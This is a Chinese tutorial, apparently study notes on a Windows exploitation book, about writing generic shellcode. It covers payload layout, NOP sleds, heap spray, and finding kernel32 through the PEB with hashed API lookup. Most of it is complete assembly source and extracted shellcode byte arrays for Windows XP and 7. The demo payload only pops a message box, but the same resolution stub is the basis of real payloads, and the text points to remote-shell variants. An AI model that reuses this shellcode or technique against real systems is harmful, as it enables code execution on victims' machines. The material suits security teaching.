本节讲如果开发通用的 Shellcode。
Shellcode 的组织
shellcode 的组织对成功地 exploit 很重要。
送入缓冲区的数据包括:
1. 填充物。一般用 0x90 (NOP) 填充于 shellcode 之前,这样只要跳转到填充区,就能执行 shellcode,为溢出提供了着床缓冲。 2. 淹没返回地址的数据。可能是跳转指令地址、shellcode 起始地址,或者近似的 shellcode 地址。 3. shellcode。
前些篇目中用过两种 shellcode 的组织方式,分别是将短小的 shellcode 直接放在 buffer 中和将 shellcode 放在返回地址之后。
第三种方式是,用跳转指令来定位 shellcode 时,将 shellcode 布置在返回地址之前,并在返回地址之后多淹没一些空间用作 shellcode head 以引导 eip 着陆。
将 shellcode 放在 buffer 中:
好处:合理利用缓冲区,使攻击串的体积最小(对于远程攻击,有时所有数据必须放在一个网络数据包内);不破坏前栈帧数据。
坏处:shellcode 可能被压栈的数据破坏。
将 shellcode 放在返回地址之后:
好处:不用担心 shellcode 被压栈的数据破坏。
坏处:破坏前栈帧结构。
提高栈顶保护 shellcode
将 shellcode 放在 buffer 中最大的坏处是:函数返回时,当前帧栈被弹出,虽然物理上 shellcode 暂时没被破坏,但逻辑上,存放 shellcode 的那个栈帧已经废弃了。如果 shellcode 中没有向栈中写数据,那情况还好;但如果 shellcode 用了 push 之类的指令在栈中暂存数据,压栈的数据可能会破坏 shellcode 本身。若 buffer 比较大,shellcode 中的 push 操作可能保会占用离栈顶较近的栈区,不会危及到 shellcode,但如果 buffer 比较小,情况就不乐观了。
为了保护 shellcode 使其具有较好的通用性,通常在 shellcode 一开始就抬高栈顶,使 shellcode 藏在栈帧中,不被 push 等操作破坏。
跳转指令
除了前些篇目中使用的 jmp esp,也可以使用其他跳转指令。
实际漏洞利用时,要好好观察寄存器的值,除了 esp 之外,eax、ebx、esi 等寄存器也会指向栈顶附近,跳转指令的选用要灵活些,move eax, esp 和 jmp eax 等指令序列也能完成进入栈帧的功能。
加大靶心
个别苛刻的漏洞不允许使用跳转指令,这时如果 buffer 足够大,可以在 shellcode 之前放置些 NOP,定位 shellcode 时,只要能跳进这些 NOP 中就能命中。这些用途着陆缓冲的 NOP 被形象地称作大靶心。
返回地址移位
在一些情况下,返回地址距离 buffer 的距离不是确定的(但能保证返回地址是双字 DWORD),这时也可以用加大靶心的思想——子弹扫射:用一片连续的跳转指令的地址(子弹)来覆盖返回地址,只要有一个子弹成功覆盖了返回地址就成功了。
返回地址错位
这是一种更加棘手的情况——例如由 strcat() 引起的漏洞:
strcat("程序安装目录", 输入的字符串)
在不同的系统环境下,输入的字符串可能不一样(可能是 app.exe 或者 app_.exe …),这里返回地址可能按字节错位而不是按双字(DWORD)错位,如果调试好的返回地址是 0xaabbccdd,则在其他机器上可能因为输入的字符串差奇数个字节,使返回地址变成 0xbbccddaa、0xccddaabb 或者 0xddaabbcc,溢出的成功率只有 25%,溢出的通用性大大降低!
Heap Spray
解决上述问题的一个方法是:使用按字节相同的双字跳转地址,甚至可以使用堆中的跳转地址并将 shellcode 用堆扩展的方法放置在相应区域。这种 heap spray 技术在 IE 漏洞中经常用到。
定位 Shellcode 原理
之前用到的 user32.dll 中的 MessageBoxA() 和 kernel32.dll 中的 ExitProcess() 的入口地址会因不同的 OS、不同的 patch 而不同,导致用静态地址调用 API 会使得 shellcode 的通用性受到很大的限制,实际使用中必须动态获得 API 地址。
Windows 的 API 是通过动态连接库中的导出函数来实现的:内存操作函数在 kernel32.dll 中实现,图形界面相关函数在 user32.dll 中实现……
Windows 下的 shellcode 最常用的动态寻址 API 的方法是:从进程控制块中找到动态连接库的导出表,搜索出所需 API 地址并调用。
所有 Win32 程序都会加载 kernel32.dll 和 ntdll.dll,在 Win32 中寻址 kernel32.dll 的 API 的步骤如下:
1. 通过 段选择字 FS 在内存中找到当前的线环境制快 TEB(Thread Environment Block)。
2. 线程环境块偏移 0x30 的地方存放着指向 进程环境块 PEB(Process Environment Block)的指针。
3. 进程环境块中偏移 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,PEB_LDR_DATA 存放着已经装载的 DLL 信息。
4. PEB_LDR_DATA 偏移 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
5. InInitializationOrderModuleList 存放着 PE 初始化时的模块信息,第一个链表结点是 ntdll.dll,第二个是 kernel32.dll。
6. 找到 kernel32.dll 后,偏移 0x08 的地方就是 kernel32.dll 在内存中的加载基址。
7. kernel32.dll 加载基址偏移 0x3C 的地方就是其 PE 头。
8. PE 头偏移 0x78 的地方存放指向函数导出表的指针。
函数导出表偏移 0x1C 处的指针指向存储导出函数偏移地址(RVA)的列表。
函数导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
函数的 RVA 地址和名字按照顺序放在上述两个列表中,可以根据名称的索引值查找对应的 RVA。
获得 RVA 后,加上前面找到的加载基址,就能找到 API 函数的入口虚拟地址。
找出需要的 API 函数入口地址的过程如下:
类似的,用这种方法可以定位 ws2_32.dll 中的 winsock 函数来编写能获得远程 shell 的利用型 shellcode。
利用 kernel32.dll 中的 LoadLibrary() 和 GetProcAddress() 可以方便的定位其他 API 函数。
定位 kernel32.dll 装载基址的代码如下:
1 xor edx, edx ; zero edx 2 mov ebx, fs:[edx + 0x30] ; ebx = addr of PEB 3 mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data 4 mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list 5 mov ecx, [ecx] ; ecx = second entry in list : kernelbase.dll on Win7 , kernel32.dll on Windows XP 6 mov ecx, [ecx] ; ecx = third entry in list : kernel32.dll on Win7 7 mov ebp, [ecx + 0x08] ; ebp = base addr of kernel32.dll
我在书中的代码中增加了如上所示的第 6 行,因为调试发现 Win7 中模块初始化链表所指的第二个节点是 kernelbase.dll,第三个节点才是 kernel32.dll
Shellcode 加载与调试
shellcode 的常见形式是用转义字符将机器码放在一个数组中,公开的 shellcode 也经常用这种方式。
可以使用如下的 C 语言代码来调试 shellcode:
char shellcode[] = "x90x90..."; int main() {
__asm
{
lea eax, shellcode
push eax
ret
}
return 0; }
API 函数名的哈希摘要(hash digest)
短小精悍是设计通用 shellcode 标准之一,为此,在 shellcode 中定位 API 不应该直接用 API 的函数名,否则空间很严重。不错的选择是用函数名的字符串 hash 摘要要(hash digest)。引入 hash 算法需要的代码空间不大,比直接使用函数名更划算。
接下来的实验中使用的 hash 算法如下:
#include <stdio.h> #include <windows.h> DWORD GetHash(char *fun_name) { DWORD digest=0; //循环右移7位并累加字符串中的字符 for( ; *fun_name; digest=((digest<<25)+(digest>>7))+*(fun_name++) ); return digest; } int main() { printf("hash of MessageBoxA: 0x%08x ",GetHash("MessageBoxA")); return 0; }
这位一来,只用存储 hash 算法函数 GetHash() 的代码和需要使用的 API 函数名的 digest(双字),而上述的 GetHash() 只需 ror 和 add 指令就可以实现。实际上,精心构造的 hash 算法只需一个字节(8bit) 就能存储 digest 值。
应用上面的算法得出的主要 API 的 hash 值如下:
MessageBoxA : 0x1E380A6A ExitProcess : 0x4FD18963 LoadLibraryA : 0x0C917432
动态定位 API
下面实现动态定位 API 中的 LoadLibraryA()、ExitProcess()、和 MessageBoxA() 函数,并完成弹窗和安全退出程序的 shellcode。
第一步是将 API 函数名的 hash digest 压入栈中,注意压栈之前要将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 字符串处理方向发生变化而出错(如 LODSD 指令)。如果在堆溢出中发现原本稳定的 shellcode 运行时出错,很可能就是这个原因。
我用的环境是 Win7,调试中发现模块初始化链表中的第二个模块是 kernelbase.dll 而不是 kernel32.dll,所以在原书的代码中有修改,见第 51、52 行:
1 /***************************************************************************** 2 To be the apostrophe which changed "Impossible" into "I'm possible"! 3 4 POC code of chapter 5.4 in book "Vulnerability Exploit and Analysis Technique" 5 6 file name : shellcode_popup_general.c 7 author : failwest 8 date : 2006.10.20 9 description : can be run across OS platform and different patch version 10 the code used to generate PE file and extract binary code 11 Noticed : 12 version : 1.0 13 E-mail : failwest@gmail.com 14 15 Only for educational purposes enjoy the fun from exploiting :) 16 ******************************************************************************/ 17 18 int main() 19 { 20 _asm{ 21 nop 22 nop 23 nop 24 nop 25 nop 26 27 CLD ; clear flag DF 28 ;store hash 29 push 0x1e380a6a ;hash of MessageBoxA 30 push 0x4fd18963 ;hash of ExitProcess 31 push 0x0c917432 ;hash of LoadLibraryA 32 mov esi,esp ; esi = addr of first function hash 33 lea edi,[esi-0xc] ; edi = addr to start saving function address 34 35 ; make some stack space 36 xor ebx,ebx 37 mov bh, 0x04 38 sub esp, ebx 39 40 ; push a pointer to "user32" onto stack 41 mov bx, 0x3233 ; rest of ebx is null 42 push ebx 43 push 0x72657375 44 push esp 45 46 xor edx,edx 47 ; find base addr of kernel32.dll 48 mov ebx, fs:[edx + 0x30] ; ebx = address of PEB 49 mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data 50 mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list 51 mov ecx, [ecx] ; ecx = second entry in list (kernelbase.dll on Win7) 52 mov ecx, [ecx] ; ecx = third entry in list (kernel32.dll on Win7) 53 mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll 54 55 find_lib_functions: 56 lodsd ; load next hash into al and increment esi 57 cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger 58 ; LoadLibrary("user32") 59 jne find_functions 60 xchg eax, ebp ; save current hash 61 call [edi - 0x8] ; LoadLibraryA 62 xchg eax, ebp ; restore current hash, and update ebp 63 ; with base address of user32.dll 64 65 find_functions: 66 pushad ; preserve registers 67 mov eax, [ebp + 0x3c] ; eax = start of PE header 68 mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 69 add ecx, ebp ; ecx = absolute addr of export table 70 mov ebx, [ecx + 0x20] ; ebx = relative offset of names table 71 add ebx, ebp ; ebx = absolute addr of names table 72 xor edi, edi ; edi will count through the functions 73 74 next_function_loop: 75 inc edi ; increment function counter 76 mov esi, [ebx + edi * 4] ; esi = relative offset of current function name 77 add esi, ebp ; esi = absolute addr of current function name 78 cdq ; dl will hold hash (we know eax is small) 79 80 hash_loop: 81 movsx eax, byte ptr[esi] 82 cmp al,ah 83 jz compare_hash 84 ror edx,7 85 add edx,eax 86 inc esi 87 jmp hash_loop 88 89 compare_hash: 90 cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) 91 jnz next_function_loop 92 93 mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table 94 add ebx, ebp ; ebx = absolute addr of ordinals table 95 mov di, [ebx + 2 * edi] ; di = ordinal number of matched function 96 mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table 97 add ebx, ebp ; ebx = absolute addr of address table 98 add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the 99 ; relative offset of matched function 100 xchg eax, ebp ; move func addr into eax 101 pop edi ; edi is last onto stack in pushad 102 stosd ; write function addr to [edi] and increment edi 103 push edi 104 popad ; restore registers 105 ; loop until we reach end of last hash 106 cmp eax,0x1e380a6a 107 jne find_lib_functions 108 109 function_call: 110 xor ebx,ebx 111 push ebx // cut string 112 push 0x74736577 113 push 0x6C696166 //push failwest 114 mov eax,esp //load address of failwest 115 push ebx 116 push eax 117 push eax 118 push ebx 119 call [edi - 0x04] ; //call MessageboxA 120 push ebx 121 call [edi - 0x08] ; // call ExitProcess 122 nop 123 nop 124 nop 125 nop 126 } 127 return 0; 128 }
OllyDbg 导入上述代码编译出的 EXE 文件,并导出 shellcode(170字节,Win7) 如下:
1 char popwnd_general[] = 2 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 3 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75" 4 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE" 5 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03" 6 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53" 7 "x50x50x53xFFx57xFCx53xFFx57xF8"; 8 9 int main() 10 { 11 _asm{ 12 lea eax, popwnd_general 13 push eax 14 ret 15 } 16 return 0; 17 }
修改了弹窗信息后的 163 字节 shellcode(Windows XP)
1 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 2 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 3 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 4 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" 5 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" 6 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" 7 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" 8 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" 9 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" 10 "x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53" 11 "xFFx57xF8" // 163 bytes pop window shellcode (MessageBoxA)
2014.11.04 修改代码如下(XP / Win7 可用):
1 #include <stdio.h> 2 3 int main() 4 { 5 LoadLibrary(_T("user32.dll")); 6 _asm{ 7 nop 8 nop 9 nop 10 nop 11 nop 12 13 CLD ; clear flag DF 14 ;store hash 15 push 0x1e380a6a ;hash of MessageBoxA 16 push 0x4fd18963 ;hash of ExitProcess 17 push 0x0c917432 ;hash of LoadLibraryA 18 mov esi,esp ; esi = addr of first function hash 19 lea edi,[esi-0xc] ; edi = addr to start saving function address 20 21 ; make some stack space 22 xor ebx,ebx 23 mov bh, 0x04 24 sub esp, ebx 25 26 ; push a pointer to "user32" onto stack 27 mov bx, 0x3233 ; rest of ebx is null 28 push ebx 29 push 0x72657375 30 push esp 31 32 xor edx,edx 33 ; find base addr of kernel32.dll 34 mov ebx, fs:[edx + 0x30] ; ebx = PEB 35 mov ecx, [ebx + 0x0c] ; ecx = PEB_LDR_DATA 36 mov ecx, [ecx + 0x0c] ; ecx = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process) 37 mov ecx, [ecx] ; ecx = InLoadOrder[1] (ntdll) 38 mov ecx, [ecx] ; ecx = InLoadOrder[2] (kernel32) 39 mov ebp, [ecx + 0x18] ; ebp = [InLoadOrder[2] + 0x18] = kernel32 DllBase 40 41 find_lib_functions: 42 lodsd ; load next hash into al and increment esi 43 cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger 44 ; LoadLibrary("user32") 45 jne find_functions 46 xchg eax, ebp ; save current hash 47 call [edi - 0x8] ; LoadLibraryA 48 xchg eax, ebp ; restore current hash, and update ebp 49 ; with base address of user32.dll 50 51 find_functions: 52 pushad ; preserve registers 53 mov eax, [ebp + 0x3c] ; eax = start of PE header 54 mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 55 add ecx, ebp ; ecx = absolute addr of export table 56 mov ebx, [ecx + 0x20] ; ebx = relative offset of names table 57 add ebx, ebp ; ebx = absolute addr of names table 58 xor edi, edi ; edi will count through the functions 59 60 next_function_loop: 61 inc edi ; increment function counter 62 mov esi, [ebx + edi * 4] ; esi = relative offset of current function name 63 add esi, ebp ; esi = absolute addr of current function name 64 cdq ; dl will hold hash (we know eax is small) 65 66 hash_loop: 67 movsx eax, byte ptr[esi] 68 cmp al,ah 69 jz compare_hash 70 ror edx,7 71 add edx,eax 72 inc esi 73 jmp hash_loop 74 75 compare_hash: 76 cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) 77 jnz next_function_loop 78 79 mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table 80 add ebx, ebp ; ebx = absolute addr of ordinals table 81 mov di, [ebx + 2 * edi] ; di = ordinal number of matched function 82 mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table 83 add ebx, ebp ; ebx = absolute addr of address table 84 add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the 85 ; relative offset of matched function 86 xchg eax, ebp ; move func addr into eax 87 pop edi ; edi is last onto stack in pushad 88 stosd ; write function addr to [edi] and increment edi 89 push edi 90 popad ; restore registers 91 ; loop until we reach end of last hash 92 cmp eax,0x1e380a6a 93 jne find_lib_functions 94 95 function_call: 96 xor ebx,ebx 97 push ebx // cut string 98 push 0x78632024 // push "$ cx" 99 mov eax,esp //load address of failwest 100 push ebx 101 push eax 102 push eax 103 push ebx 104 call [edi - 0x04] ; //call MessageboxA 105 push ebx 106 call [edi - 0x08] ; // call ExitProcess 107 nop 108 nop 109 nop 110 nop 111 } 112 return 0; 113 }
shellcode 如下:
1 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 2 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 3 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 4 "x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75" 5 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD" 6 "x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE" 7 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24" 8 "x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03" 9 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9" 10 "x33xDBx53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57" 11 "xFCx53xFFx57xF8" // 165 bytes msgbox shellcode for xp/win7